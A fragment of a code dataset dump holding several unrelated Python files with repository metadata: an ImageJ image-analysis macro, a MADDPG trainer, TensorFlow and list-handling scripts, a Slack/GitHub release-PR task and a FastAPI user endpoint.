ParticleAnalyzer.EXCLUDE_EDGE_PARTICLES, Measurements.AREA, table, minimum_size[i], maximum_size[i], 0.1, 1.0)\r\n pa.analyze(copy)\r\n copy.show()\r\n WaitForUserDialog(\"Title\", \"Look at threshold for\" + color[i]).show()\r\n gd = GenericDialog(\"Set Threshold Mode\")\r\n gd.addChoice(\"Do you want to continue with this threshold?\", [\"No,choose again\", \"Yes, use this threshold.\"],\"No\")\r\n gd.showDialog()\r\n copy.changes = False\r\n copy.close()\r\n\r\n if gd.getNextChoice() == \"Yes, use this threshold.\":\r\n happy = True\r\n \r\n\r\n \r\n \r\n #adds count to summary \r\n \r\n if table.getColumnIndex(\"Area\") != -1:\r\n summary[color[i] + \"-ROI-count\"] = len(table.getColumn(table.getColumnIndex(\"Area\")))\r\n doubles=table.getColumnAsDoubles(table.getColumnIndex(\"Area\"))\r\n summary[color[i]+ \"-Total-area\"] =sum(doubles)\r\n arr=[]\r\n\r\n for x, y in enumerate(doubles):\r\n if(y>=100) & (y<=3000):\r\n arr.append(y)\r\n\r\n summary[color[i]+\"-Cell-Count\"]=len(arr)\r\n summary[color[i]+\"-Cell-Area\"]=sum(arr)\r\n summary[color[i]+\"-Max-ROI\"]=maximum_size[i]\r\n summary[color[i]+\"-Min-ROI\"]=minimum_size[i]\r\n summary[color[i]+\"-ratio-cell count/tissue area\"]=len(arr)/summary[\"Tissue-area\"]\r\n summary[color[i]+\"-ratio-particles/tissue area\"]=len(table.getColumn(table.getColumnIndex(\"Area\")))/summary[\"Tissue-area\"]\r\n summary[color[i]+\"-ratio-totalareaofparticles/tissue area\"]=sum(doubles)/summary[\"Tissue-area\"]\r\n\r\n\r\n channel.changes = False\r\n channel.close()\r\n\r\n roim.reset()\r\n roim.close()\r\n\r\n\r\n # FINDS THE COLOCALIZATION PERCENTAGE BETWEEN GREEN AND RED CHANNEL\r\n pa_red = ParticleAnalyzer(ParticleAnalyzer.EXCLUDE_EDGE_PARTICLES | ParticleAnalyzer.SHOW_MASKS | ParticleAnalyzer.IN_SITU_SHOW, Measurements.AREA, table, minimum_size[0], maximum_size[0], 0.1, 1.0)\r\n pa_green = ParticleAnalyzer(ParticleAnalyzer.EXCLUDE_EDGE_PARTICLES | ParticleAnalyzer.SHOW_MASKS | ParticleAnalyzer.IN_SITU_SHOW, Measurements.AREA, table, minimum_size[1], maximum_size[1], 0.1, 1.0)\r\n\r\n img3=imp.duplicate()\r\n channels_coloc=ChannelSplitter.split(img3);\r\n red_coloc=channels_coloc[0];\r\n green_coloc=channels_coloc[1];\r\n IJ.setAutoThreshold(red_coloc, \"Default dark\");\r\n IJ.run(red_coloc, \"Options...\", \"BlackBackground=true\");\r\n IJ.setThreshold(red_coloc,summary[\"Red\" + \"-threshold-used\"], 255);\r\n IJ.run(red_coloc, \"Convert to Mask\", \"\");\r\n pa_red.analyze(red_coloc)\r\n# red_coloc.show()\r\n rt3 = ResultsTable()\r\n ta_coloc=Analyzer(red_coloc, Measurements.INTEGRATED_DENSITY ,rt3)\r\n ta_coloc.measure();\r\n redIntensity=(rt3.getColumnAsDoubles(rt3.getColumnIndex(\"IntDen\")))[0];\r\n imp.close()\r\n\r\n IJ.setAutoThreshold(green_coloc, \"Default dark\");\r\n IJ.run(green_coloc, \"Options...\", \"BlackBackground=true\");\r\n IJ.setThreshold(green_coloc,summary[\"Green\" + \"-threshold-used\"], 255);\r\n IJ.run(green_coloc, \"Convert to Mask\", \"\");\r\n pa_green.analyze(green_coloc)\r\n# green_coloc.show()\r\n rt4 = ResultsTable()\r\n ta_coloc2=Analyzer(green_coloc,Measurements.INTEGRATED_DENSITY ,rt4);\r\n ta_coloc2.measure();\r\n greenIntensity=(rt4.getColumnAsDoubles(rt4.getColumnIndex(\"IntDen\")))[0];\r\n\r\n ic_coloc =ImageCalculator();\r\n coloc_img=ic_coloc.run(\"Multiply create\",red_coloc,green_coloc);\r\n rt5 = ResultsTable()\r\n ta_coloc3=Analyzer(coloc_img,Measurements.INTEGRATED_DENSITY ,rt5);\r\n ta_coloc3.measure();\r\n totalIntensity=(rt5.getColumnAsDoubles(rt5.getColumnIndex(\"IntDen\")))[0];\r\n rgb=RGBStackMerge();\n composite=rgb.mergeChannels([red_coloc,green_coloc],False); \n composite.show();\n fs=FileSaver(composite);\n fs.saveAsJpeg(outputDirectory + '/' + \"coloc_\"+filename);\n composite.close();\n \n summary[\"Coloc density\"]= totalIntensity\n summary[\"Red integrated density\"]= redIntensity\n summary[\"Green integrated density\"]= greenIntensity\n\n if redIntensity == 0:\r\n summary[\"Red-Green-Coloc-%\"]= \"NaN\"\r\n else:\r\n \tsummary[\"Red-Green-Coloc-%\"]= float (totalIntensity*100/redIntensity)\r\n \r\n if greenIntensity == 0:\r\n summary[\"Green-Red-Coloc-%\"]= \"NaN\"\r\n else:\r\n \tsummary[\"Green-Red-Coloc-%\"]= float (totalIntensity*100/greenIntensity)\r\n \t\n\r # FINDS THE COLOCALIZATION PERCENTAGE BETWEEN RED AND BLUE CHANNEL\n pa_red2 = ParticleAnalyzer(ParticleAnalyzer.EXCLUDE_EDGE_PARTICLES | ParticleAnalyzer.SHOW_MASKS | ParticleAnalyzer.IN_SITU_SHOW, Measurements.AREA, table, minimum_size[0], maximum_size[0], 0.1, 1.0)\n pa_blue = ParticleAnalyzer(ParticleAnalyzer.EXCLUDE_EDGE_PARTICLES | ParticleAnalyzer.SHOW_MASKS | ParticleAnalyzer.IN_SITU_SHOW, Measurements.AREA, table, minimum_size[1], maximum_size[1], 0.1, 1.0)\n\n img4=imp.duplicate()\n channels_coloc2=ChannelSplitter.split(img4);\n red_coloc=channels_coloc2[0];\n blue_coloc=channels_coloc2[2];\n \n IJ.setAutoThreshold(red_coloc, \"Default dark\");\n IJ.run(red_coloc, \"Options...\", \"BlackBackground=true\");\n IJ.setThreshold(red_coloc,summary[\"Red\" + \"-threshold-used\"], 255);\n IJ.run(red_coloc, \"Convert to Mask\", \"\");\n pa_red2.analyze(red_coloc)\n\n IJ.setAutoThreshold(blue_coloc, \"Default dark\");\n IJ.run(blue_coloc, \"Options...\", \"BlackBackground=true\");\n IJ.setThreshold(blue_coloc,summary[\"Blue\" + \"-threshold-used\"], 255);\n IJ.run(blue_coloc, \"Convert to Mask\", \"\");\n pa_blue.analyze(blue_coloc)\n\n rt5 = ResultsTable()\n ta_coloc4=Analyzer(blue_coloc,Measurements.INTEGRATED_DENSITY ,rt5);\n ta_coloc4.measure();\n blueIntensity=(rt5.getColumnAsDoubles(rt5.getColumnIndex(\"IntDen\")))[0];\n\n ic_coloc2 =ImageCalculator();\n coloc_img2=ic_coloc2.run(\"Multiply create\",red_coloc,blue_coloc);\n rt5 = ResultsTable()\n ta_coloc4=Analyzer(coloc_img2,Measurements.INTEGRATED_DENSITY ,rt5);\n ta_coloc4.measure();\n totalIntensity2=(rt5.getColumnAsDoubles(rt5.getColumnIndex(\"IntDen\")))[0];\n rgb2=RGBStackMerge();\n composite2=rgb2.mergeChannels([red_coloc,blue_coloc],False); \n composite2.show();\n fs=FileSaver(composite2);\n fs.saveAsJpeg(outputDirectory + '/' + \"coloc2_\"+filename);\n composite2.close();\n \n summary[\"Coloc2 density\"]= totalIntensity2\n summary[\"Blue integrated density\"]= blueIntensity\n\n if redIntensity == 0:\n summary[\"Red-Blue-Coloc-%\"]= \"NaN\"\n else:\n \tsummary[\"Red-Blue-Coloc-%\"]= float (totalIntensity2*100/redIntensity)\n \n if blueIntensity == 0:\n summary[\"Blue-Red-Coloc-%\"]= \"NaN\"\n else:\n \tsummary[\"Blue-Red-Coloc-%\"]= float (totalIntensity2*100/blueIntensity)\n\n # Writes everything in the output file\r\n fieldnames=[]\r\n fieldnames.append(\"Directory\")\r\n fieldnames.append(\"Subfolder\")\n fieldnames.append(\"Filename\")\r\n fieldnames.append(\"Tissue-area\")\r\n fieldnames.append( \"Big-area\")\r\n \r\n \r\n\r\n fieldnames.append(\"Red\"+\"-intensity\")\r\n fieldnames.append(\"Red\"+ \"-threshold-used\")\r\n fieldnames.append(\"Red\"+ \"-ROI-count\")\r\n fieldnames.append(\"Red\"+ \"-Max-ROI\")\r\n fieldnames.append(\"Red\"+ \"-Min-ROI\")\r\n fieldnames.append(\"Red\"+\"-Total-area\")\r\n fieldnames.append(\"Red\"+ \"-Cell-Count\")\r\n fieldnames.append(\"Red\"+ \"-Cell-Area\")\r\n fieldnames.append(\"Red\"+ \"-ratio-particles/tissue area\")\r\n fieldnames.append(\"Red\"+ \"-ratio-totalareaofparticles/tissue area\")\r\n fieldnames.append(\"Red\"+\"-ratio-cell count/tissue area\")\r\n \r\n fieldnames.append(\"Green\"+\"-intensity\")\r\n fieldnames.append(\"Green\"+ \"-threshold-used\")\r\n fieldnames.append(\"Green\"+ \"-ROI-count\")\r\n fieldnames.append(\"Green\"+ \"-Min-ROI\")\r\n fieldnames.append(\"Green\"+ \"-Max-ROI\")\r\n fieldnames.append(\"Green\"+\"-Total-area\")\r\n # fieldnames.append(\"Green\"+ \"-Cell-Count\")\r\n # fieldnames.append(\"Green\"+ \"-Cell-Area\")\r\n fieldnames.append(\"Green\"+ \"-ratio-particles/tissue area\")\r\n fieldnames.append(\"Green\"+ \"-ratio-totalareaofparticles/tissue area\")\r\n\r\n fieldnames.append(\"Blue\"+\"-intensity\")\r\n fieldnames.append(\"Blue\"+ \"-threshold-used\")\r\n fieldnames.append(\"Blue\"+ \"-ROI-count\")\r\n fieldnames.append(\"Blue\"+ \"-Min-ROI\")\r\n fieldnames.append(\"Blue\"+ \"-Max-ROI\")\r\n fieldnames.append(\"Blue\"+\"-Total-area\")\r\n # fieldnames.append(\"Blue\"+ \"-Cell-Count\")\r\n # fieldnames.append(\"Blue\"+ \"-Cell-Area\")\r\n fieldnames.append(\"Blue\"+ \"-ratio-particles/tissue area\")\r\n fieldnames.append(\"Blue\"+ \"-ratio-totalareaofparticles/tissue area\")\r\n fieldnames.append(\"Red-Green-Coloc-%\")\r\n fieldnames.append(\"Green-Red-Coloc-%\")\r\n fieldnames.append(\"Red-Blue-Coloc-%\")\n fieldnames.append(\"Blue-Red-Coloc-%\")\n fieldnames.append(\"Coloc density\")\n fieldnames.append(\"Coloc2 density\")\n fieldnames.append(\"Red integrated density\")\n fieldnames.append(\"Green integrated density\")\n fieldnames.append(\"Blue integrated density\")\n\r\n\r\n\r\n \r\n \r\n\r\n # for i, channel in enumerate(channels):\r\n # fieldnames.append(color[i]+\"-intensity\")\r\n # fieldnames.append(color[i]+ \"-threshold-used\")\r\n # fieldnames.append(color[i]+ \"-ROI-count\")\r\n # fieldnames.append(color[i]+ \"-Total-area\")\r\n # fieldnames.append(color[i]+ \"-Min-ROI\")\r\n # fieldnames.append(color[i]+ \"-Max-ROI\")\r\n # fieldnames.append(color[i]+ \"-big-area\")\r\n # fieldnames.append(color[i]+ \"-ratio-particles/tissue area\")\r\n # fieldnames.append(color[i]+ \"-ratio-totalareaofparticles/tissue area\")\r\n # # fieldnames.append(color[i]+ \"-tissue-area\")\r\n\r\n \r\n with open(output_name, 'a') as csvfile:\r\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames, extrasaction='ignore', lineterminator = '\\n')\r\n if os.path.getsize(output_name) < 1:\r\n writer.writeheader()\r\n writer.writerow(summary)\r\n\r\n \r\n\r\n \r\n\r\n \r\n \r\n# End of macro\r\ncat = \"\"\"\r\n\r\n \\ /\\ Macro completed! \r\n ) ( ') meow!\r\n ( / )\r\n \\(__)|\"\"\"\r\n\r\nprint(cat)\r\n","repo_name":"neuroeddu/HistQ","sub_path":"IF_particles_analysis_macro_200728.py","file_name":"IF_particles_analysis_macro_200728.py","file_ext":"py","file_size_in_byte":21094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"15254487606","text":"# a가 97부터 시작됨을 이용\n# 0보다 크면 -1을 하고\n# 0이면 +1을 한다\nfw = input()\nsw = input()\narr = [0 for _ in range(26)]\ncnt = 0\nfor f in fw:\n arr[ord(f)-97] += 1\nfor s in sw:\n temp = ord(s)-97\n if arr[temp] > 0:\n arr[temp]-=1\n else:\n cnt+=1\nprint(sum(arr)+cnt)\n","repo_name":"hyunzzin/algorithm","sub_path":"array,list/1919.py","file_name":"1919.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"72801054799","text":"import numpy as np\nimport tensorflow as tf\n\nfrom hybrid_gym.rl.maddpg.common import tf_util as U\nfrom hybrid_gym.rl.maddpg.common.distributions import make_pdtype\nfrom hybrid_gym.rl.maddpg.trainer.replay_buffer import ReplayBuffer\n\nDEFAULT_TAU = 1.0 - 1e-2\n\n\ndef make_update_exp(vals, target_vals, sess, polyak=DEFAULT_TAU):\n expression = []\n for var, var_target in zip(sorted(vals, key=lambda v: v.name),\n sorted(target_vals, key=lambda v: v.name)):\n expression.append(var_target.assign(polyak * var_target + (1.0-polyak) * var))\n expression = tf.group(*expression)\n return U.function([], [], sess=sess, updates=[expression])\n\n\ndef p_train(obs_ph, act_space, p_func, q_func, optimizer, sess,\n grad_norm_clipping=None, num_units=64, scope=\"trainer\",\n reuse=None, num_modes=1):\n with tf.variable_scope(scope, reuse=reuse):\n # create distribtuions\n act_pdtype = make_pdtype(act_space)\n\n # set up placeholders\n act_ph = act_pdtype.sample_placeholder([None], name=\"action\")\n adv_act_ph = tf.placeholder(tf.int32, [None], name=\"adv_action\")\n\n p = p_func(obs_ph, int(act_pdtype.param_shape()[0]),\n scope=\"p_func\", num_units=num_units)\n p_func_vars = U.scope_vars(U.absolute_scope_name(\"p_func\"))\n\n # wrap parameters in distribution\n act_pd = act_pdtype.pdfromflat(p)\n\n act_sample = act_pd.sample()\n act_det = act_pd.mode()\n p_reg = tf.reduce_mean(tf.square(act_pd.flatparam()))\n\n act_input = act_pd.sample()\n q_input = tf.concat([obs_ph, act_input], 1)\n q_full = q_func(q_input, num_modes, scope=\"q_func\", reuse=True, num_units=num_units)\n q = tf.gather(q_full, tf.reshape(adv_act_ph, [-1, 1]), axis=1, batch_dims=1)\n q = tf.reshape(q, [-1])\n\n pg_loss = -tf.reduce_mean(q)\n\n loss = pg_loss + p_reg * 1e-2\n\n optimize_expr = U.minimize_and_clip(optimizer, loss, p_func_vars, grad_norm_clipping)\n\n # Create callable functions\n train = U.function(inputs=[obs_ph, act_ph, adv_act_ph], outputs=loss,\n sess=sess, updates=[optimize_expr])\n act = U.function(inputs=[obs_ph], outputs=act_sample, sess=sess)\n det_act = U.function(inputs=[obs_ph], outputs=act_det, sess=sess)\n p_values = U.function([obs_ph], p, sess=sess)\n\n # target network\n target_p = p_func(obs_ph, int(act_pdtype.param_shape()[0]),\n scope=\"target_p_func\", num_units=num_units)\n target_p_func_vars = U.scope_vars(U.absolute_scope_name(\"target_p_func\"))\n update_target_p = make_update_exp(p_func_vars, target_p_func_vars, sess)\n\n target_act_sample = act_pdtype.pdfromflat(target_p).sample()\n target_act = U.function(inputs=[obs_ph], outputs=target_act_sample, sess=sess)\n\n return act, train, update_target_p, {\n 'p_values': p_values, 'target_act': target_act, 'det_action': det_act}\n\n\ndef p_train_adv(obs_ph, act_space, p_func, q_func, optimizer, sess,\n grad_norm_clipping=None, num_units=64, scope=\"trainer\",\n reuse=None, num_modes=1):\n with tf.variable_scope(scope, reuse=reuse):\n # create distribtuions\n act_pdtype = make_pdtype(act_space)\n\n # set up placeholders\n act_ph = act_pdtype.sample_placeholder([None], name=\"action\")\n adv_act_ph = tf.placeholder(tf.int32, [None], name=\"adv_action\")\n\n p = p_func(obs_ph, num_modes, activation_fn=tf.nn.softmax,\n scope=\"p_func\", num_units=num_units)\n p_func_vars = U.scope_vars(U.absolute_scope_name(\"p_func\"))\n\n # wrap parameters in distribution\n adv_act_pd = tf.distributions.Categorical(probs=p)\n adv_act_sample_ = adv_act_pd.sample()\n adv_act_sample = tf.math.minimum(\n adv_act_sample_, (num_modes-1) * tf.ones_like(\n adv_act_sample_, dtype=adv_act_sample_.dtype))\n adv_act_det_ = U.argmax(p, axis=1)\n adv_act_det = tf.math.minimum(\n adv_act_det_, (num_modes-1) * tf.ones_like(adv_act_det_, dtype=adv_act_det_.dtype))\n\n q_input = tf.concat([obs_ph, act_ph], 1)\n q_full = q_func(q_input, num_modes, scope=\"q_func\", reuse=True, num_units=num_units)\n q = tf.reduce_sum(tf.multiply(q_full, p), 1)\n\n loss = -tf.reduce_mean(q)\n\n optimize_expr = U.minimize_and_clip(optimizer, loss, p_func_vars, grad_norm_clipping)\n\n # Create callable functions\n train = U.function(inputs=[obs_ph, act_ph, adv_act_ph], outputs=loss,\n sess=sess, updates=[optimize_expr])\n act = U.function(inputs=[obs_ph], outputs=adv_act_sample, sess=sess)\n det_act = U.function(inputs=[obs_ph], outputs=adv_act_det, sess=sess)\n p_values = U.function([obs_ph], p, sess=sess)\n\n # target network\n target_p = p_func(obs_ph, num_modes, activation_fn=tf.nn.softmax,\n scope=\"target_p_func\", num_units=num_units)\n target_p_func_vars = U.scope_vars(U.absolute_scope_name(\"target_p_func\"))\n update_target_p = make_update_exp(p_func_vars, target_p_func_vars, sess)\n\n target_act_sample_ = tf.distributions.Categorical(probs=target_p).sample()\n target_act_sample = tf.math.minimum(\n target_act_sample_, (num_modes-1) * tf.ones_like(\n target_act_sample_, dtype=target_act_sample_.dtype))\n target_act = U.function(inputs=[obs_ph], outputs=target_act_sample, sess=sess)\n\n return act, train, update_target_p, {\n 'p_values': p_values, 'target_act': target_act, 'det_action': det_act}\n\n\ndef q_train(obs_ph, act_space, q_func, optimizer, sess, grad_norm_clipping=None,\n scope=\"trainer\", reuse=None, num_units=64, num_modes=1):\n with tf.variable_scope(scope, reuse=reuse):\n # create distribtuions\n act_pdtype = make_pdtype(act_space)\n\n # set up placeholders\n act_ph = act_pdtype.sample_placeholder([None], name=\"action\")\n adv_act_ph = tf.placeholder(tf.int32, [None], name=\"adv_action\")\n target_ph = tf.placeholder(tf.float32, [None], name=\"target\")\n\n q_input = tf.concat([obs_ph, act_ph], 1)\n q_full = q_func(q_input, num_modes, scope=\"q_func\", num_units=num_units)\n q = tf.gather(q_full, tf.reshape(adv_act_ph, [-1, 1]), axis=1, batch_dims=1)\n q = tf.reshape(q, [-1])\n q_func_vars = U.scope_vars(U.absolute_scope_name(\"q_func\"))\n\n q_loss = tf.reduce_mean(tf.square(q - target_ph))\n\n # viscosity solution to Bellman differential equation in place of an initial condition\n q_reg = tf.reduce_mean(tf.square(q)) # noqa\n loss = q_loss + 3e-3 * q_reg\n\n optimize_expr = U.minimize_and_clip(optimizer, loss, q_func_vars, grad_norm_clipping)\n\n # Create callable functions\n train = U.function(inputs=[obs_ph, act_ph, adv_act_ph, target_ph],\n outputs=loss, sess=sess, updates=[optimize_expr])\n q_values = U.function([obs_ph, act_ph, adv_act_ph], q, sess=sess)\n\n # target network\n target_q_full = q_func(q_input, num_modes, scope=\"target_q_func\", num_units=num_units)\n target_q = tf.gather(target_q_full, tf.reshape(adv_act_ph, [-1, 1]), axis=1, batch_dims=1)\n target_q = tf.reshape(target_q, [-1])\n target_q_func_vars = U.scope_vars(U.absolute_scope_name(\"target_q_func\"))\n update_target_q = make_update_exp(q_func_vars, target_q_func_vars, sess)\n\n target_q_values = U.function([obs_ph, act_ph, adv_act_ph], target_q, sess=sess)\n\n return train, update_target_q, {'q_values': q_values, 'target_q_values': target_q_values}\n\n\nclass MADDPGAgentTrainer:\n def __init__(self, name, model, obs_shape, act_space,\n args, sess, adv=False, num_modes=1):\n self.name = name\n self.args = args\n self.sess = sess\n self.num_modes = num_modes\n self.adv = adv\n obs_ph = U.BatchInput(obs_shape, name=\"observation\").get()\n\n # Create all the functions necessary to train the model\n self.q_train, self.q_update, self.q_debug = q_train(\n obs_ph=obs_ph,\n act_space=act_space,\n q_func=model,\n optimizer=tf.train.AdamOptimizer(learning_rate=args.lr),\n scope=self.name,\n grad_norm_clipping=0.5,\n num_units=args.num_units,\n sess=self.sess,\n num_modes=self.num_modes\n )\n\n if adv:\n self.act, self.p_train, self.p_update, self.p_debug = p_train_adv(\n obs_ph=obs_ph,\n act_space=act_space,\n p_func=model,\n q_func=model,\n optimizer=tf.train.AdamOptimizer(learning_rate=args.lr),\n scope=self.name,\n grad_norm_clipping=0.5,\n num_units=args.num_units,\n sess=self.sess,\n num_modes=self.num_modes\n )\n\n else:\n self.act, self.p_train, self.p_update, self.p_debug = p_train(\n obs_ph=obs_ph,\n act_space=act_space,\n p_func=model,\n q_func=model,\n optimizer=tf.train.AdamOptimizer(learning_rate=args.lr),\n scope=self.name,\n grad_norm_clipping=0.5,\n num_units=args.num_units,\n sess=self.sess,\n num_modes=self.num_modes\n )\n\n # Create experience buffer\n self.replay_buffer = ReplayBuffer(1e6)\n self.max_replay_buffer_len = args.batch_size * 10\n self.replay_sample_index = None\n\n def action(self, obs):\n return self.act(obs[None])[0]\n\n def det_action(self, obs):\n return self.p_debug['det_action'](obs[None])[0]\n\n def experience(self, obs, act, rew, new_obs, done):\n # Store transition in the replay buffer.\n self.replay_buffer.add(obs, act, rew, new_obs, float(done))\n\n def preupdate(self):\n self.replay_sample_index = None\n\n def update(self, agent, adv_agent, t):\n if len(self.replay_buffer) < self.max_replay_buffer_len:\n # replay buffer is not large enough\n return\n if not t % 100 == 0:\n # only update every 100 steps\n return\n\n self.replay_sample_index = self.replay_buffer.make_index(self.args.batch_size)\n # collect replay sample from all agents\n\n index = self.replay_sample_index\n obs, act, rew, obs_next, done = agent.replay_buffer.sample_index(index)\n _, adv_act, adv_rew, _, _ = adv_agent.replay_buffer.sample_index(index)\n if self.adv:\n rew = adv_rew\n\n # train q network\n num_sample = 1\n target_q = 0.0\n for i in range(num_sample):\n target_act = agent.p_debug['target_act'](obs_next)\n target_adv_act = adv_agent.p_debug['target_act'](obs_next)\n target_q_next = self.q_debug['target_q_values'](obs_next, target_act, target_adv_act)\n target_q += rew + self.args.gamma * (1.0 - done) * target_q_next\n target_q /= num_sample\n q_loss = self.q_train(obs, act, adv_act, target_q)\n\n # train p network\n p_loss = self.p_train(obs, act, adv_act)\n\n self.p_update()\n self.q_update()\n\n return [q_loss, p_loss, np.mean(target_q), np.mean(rew), np.std(target_q)]\n","repo_name":"keyshor/rosac","sub_path":"hybrid_gym/rl/maddpg/trainer/maddpg.py","file_name":"maddpg.py","file_ext":"py","file_size_in_byte":11487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"5233995593","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\nimport tensorflow as tf\n\n# bias = tf.Variable(tf.random_normal([16]))\n# init = tf.global_variables_initializer()\n\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\n# with tf.Session() as sess:\n# sess.run(init)\n# print(bias.get_shape().as_list()[0])\n# vali_batch_x, vali_batch_y = mnist.validation.next_batch(1)\n# print(vali_batch_y[0])\nwith tf.Session() as sess:\n #sess.run(init)\n saver = tf.train.import_meta_graph('DCNN_MNIST_BN_SMALL_FILTER_model.meta')\n #saver.restore(sess,tf.train.latest_checkpoint('./'))\n saver.restore(sess,'DCNN_MNIST_BN_SMALL_FILTER_model')\n\n graph = tf.get_default_graph()\n X = graph.get_tensor_by_name(\"X:0\")\n Y_ = graph.get_tensor_by_name(\"Y_:0\")\n tst = graph.get_tensor_by_name(\"tst:0\")\n dropout = graph.get_tensor_by_name(\"dropout:0\")\n accuracy = graph.get_tensor_by_name(\"accuracy:0\")\n #W1 = graph.get_tensor_by_name(\"W1:0\")\n #print(sess.run(W1))\n\n mnist = input_data.read_data_sets('MNIST_data', one_hot=True)\n print(\"Testing Accuracy:\", \\\n sess.run(accuracy, feed_dict={X: mnist.test.images,\n Y_: mnist.test.labels,\n tst: True,\n dropout: 1.}))","repo_name":"wubinyi/Tensorflow","sub_path":"model_restore.py","file_name":"model_restore.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"32155647408","text":"# 清空列表\nlst = [1, 3, 2, 5, 6]\nprint(\"清空前:\",lst)\n\nlst.clear()\nprint(\"清空后:\",lst)\n\n\n# 复制列表,从0开始拷贝\ndef clone_lst(lst1):\n lst_copy = lst1[:]\n return lst_copy\n\nli1 = [1,2,3]\nli2 = clone_lst(li1)\nprint(\"原始列表:\",li1)\nprint(\"克隆列表:\",li2)\n\n# 计算元素在列表中出现的次数\ndef countX(lst, x):\n count = 0\n for ele in lst:\n if(ele == x):\n count = count+1\n return count\n\nlst=[2,2,3,4,5,6,7,7,6,5,5,4]\nx=2\nprint(countX(lst,x))\n\n# 计算元素在列表中出现的次数\nprint(lst.count(3))\n\n\n\n\n\n\n","repo_name":"krest32/python-base","sub_path":"src/02-base2/04_列表操作.py","file_name":"04_列表操作.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33501497446","text":"from txsentinel.celery import celery_client\nfrom flask import current_app\nfrom github import Github, GithubException\nimport requests\n\nfrom txsentinel.github import cache\nfrom txsentinel.slack.utils import validate_deploy_data, get_tag, is_valid_tag\n\n\ndef create_pr_body(prs_merged, migration_files):\n body = 'Merged Pull Requests:\\n'\n body += '\\n'.join([\n f\"#{pr['number']} : {pr['title']}\" for pr in prs_merged\n ])\n\n if migration_files:\n body += '\\n\\nMigrations altered:\\n'\n body += '\\n'.join([\n f'*{file}' for file in migration_files\n ])\n\n return body\n\n\ndef create_slack_body(prs_merged, migration_files):\n body = '*Merged Pull Requests:*\\n\\n'\n body += '\\n'.join([\n f'<{pr[\"html_url\"]}|#{pr[\"number\"]}>: {pr[\"title\"]}'\n for pr in prs_merged\n ])\n\n if migration_files:\n body += '\\n *Migrations altered:* \\n\\n'\n body += '\\n'.join([\n f'*{file}' for file in migration_files\n ])\n\n return body\n\n\n@celery_client.task\ndef handle_deploy(cmd_data):\n \"\"\"Handles the deploy command\n\n :param cmd_data: A dictionary containing the command data\n \"\"\"\n cmd_args = validate_deploy_data(cmd_data)\n\n repo_name = ''.join([\n current_app.config['GITHUB_ORGANIZATION'],\n '/',\n cmd_args['repo']\n ])\n repo = cache.get_repository(repo_name)\n\n if cmd_args['env'] == 'prod':\n if cmd_args['tag'] is None:\n tag = get_tag(repo)\n elif is_valid_tag(cmd_args['tag']):\n tag = cmd_args['tag']\n else:\n raise Exception('No valid tag was provided')\n\n head = current_app.config['GITHUB_DEPLOY_HEAD']\n base = current_app.config['GITHUB_DEPLOY_BASE']\n comparison = repo.compare(base, head)\n\n prs_merged = []\n for commit in comparison.commits:\n if len(commit.parents) < 2:\n # Searching for merge commits\n # Merge commits have 2 parents (except fast forward)\n continue\n for pr in commit.get_pulls():\n prs_merged.append({\n 'number': pr.number,\n 'html_url': pr.html_url,\n 'title': pr.title\n })\n\n migration_files = []\n for changed_file in comparison.files:\n if 'migration' in changed_file.filename:\n migration_files.append(\n changed_file.filename\n )\n\n title = f'Release: {tag}'\n\n if not prs_merged:\n data = {\n 'response_type': 'in_channel',\n \"blocks\": [\n {\n \"type\": \"image\",\n \"title\": {\n \"type\": \"plain_text\",\n \"text\": \"Nothing to see here. Move along\"\n },\n \"block_id\": \"nothing_to_see\",\n \"image_url\": \"https://evolutionnews.org/wp-content/uploads/2017/07/Nothing-to-See-Here.jpg\",\n \"alt_text\": \"Move along.\"\n }\n ]\n }\n elif cmd_args['dry-run']:\n body = create_slack_body(prs_merged, migration_files)\n data = {\n 'response_type': 'in_channel',\n 'text':\n f'Pending new Release for `{repo.full_name}`: `{title}`.\\n' + # noqa\n f'{body}'\n }\n else:\n body = create_pr_body(prs_merged, migration_files)\n try:\n pull_request = repo.create_pull(\n title=title,\n body=body,\n base=base,\n head=head\n )\n except GithubException as e:\n data = {\n 'response_type': 'in_channel',\n 'text':\n f'PR creation failed for {repo.full_name}. ' +\n e.data['errors'][0]['message']\n }\n else:\n pull_request.add_to_labels(\n 'auto-merge', f'v:{tag}'\n )\n data = {\n 'response_type': 'in_channel',\n 'text':\n f'Created a pull request `{title}` for {repo.full_name}.\\n' + # noqa\n f'Review the PR <{pull_request.html_url}|here.>'\n }\n requests.post(cmd_data['response_url'], json=data)\n","repo_name":"transifex/txsentinel","sub_path":"txsentinel/slack/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":4533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9357270543","text":"import logging\n\nfrom fastapi import Depends, Path\nfrom sqlalchemy import and_, not_, select\nfrom sqlalchemy.orm import Session\nfrom starlette import status\n\nfrom src.dependencies import get_current_librarian, get_db\nfrom src.endpoints.user.router_init import router\nfrom src.exceptions import custom_exception\nfrom src.models.user import User\nfrom src.responses import custom_response\n\n\n@router.get(\"/{user_id}\", status_code=status.HTTP_200_OK, response_model=None)\nasync def get_user_by_id(\n librarian: dict = Depends(get_current_librarian),\n db: Session = Depends(get_db),\n user_id: int = Path(gt=0),\n) -> dict:\n \"\"\"\n Returns a single user.\\n\n Param\n -----\n user_id: int\\n\n JWT token of a librarian.\n Throws an exception if JWT is not of librarian\\n\n Returns\n ------\n dict : A dict with status code, details and data\n \"\"\"\n try:\n user = (\n db.execute(\n select(User).where(and_(User.id == user_id, not_(User.is_deleted)))\n )\n .scalars()\n .first()\n )\n except Exception as e:\n logging.exception(f\"Exception occured -- {__name__}.get_user_by_id\")\n raise custom_exception(\n status_code=status.HTTP_500_INTERNAL_SERVER_ERROR,\n details=f\"Database not available. details: {e}\",\n )\n if user:\n 